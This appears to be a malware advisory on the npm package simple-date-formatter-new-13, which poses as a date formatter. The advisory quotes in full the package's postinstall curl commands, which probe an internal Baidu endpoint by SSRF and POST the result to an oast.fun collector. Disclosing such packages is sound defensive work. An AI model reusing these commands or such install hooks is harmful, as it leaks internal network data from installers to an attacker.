simple-date-formatter-new-13@1.0.0

Summary

simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every npm install. The postinstall runs curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt against an internal Baidu network endpoint, then curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running npm install will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.

Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)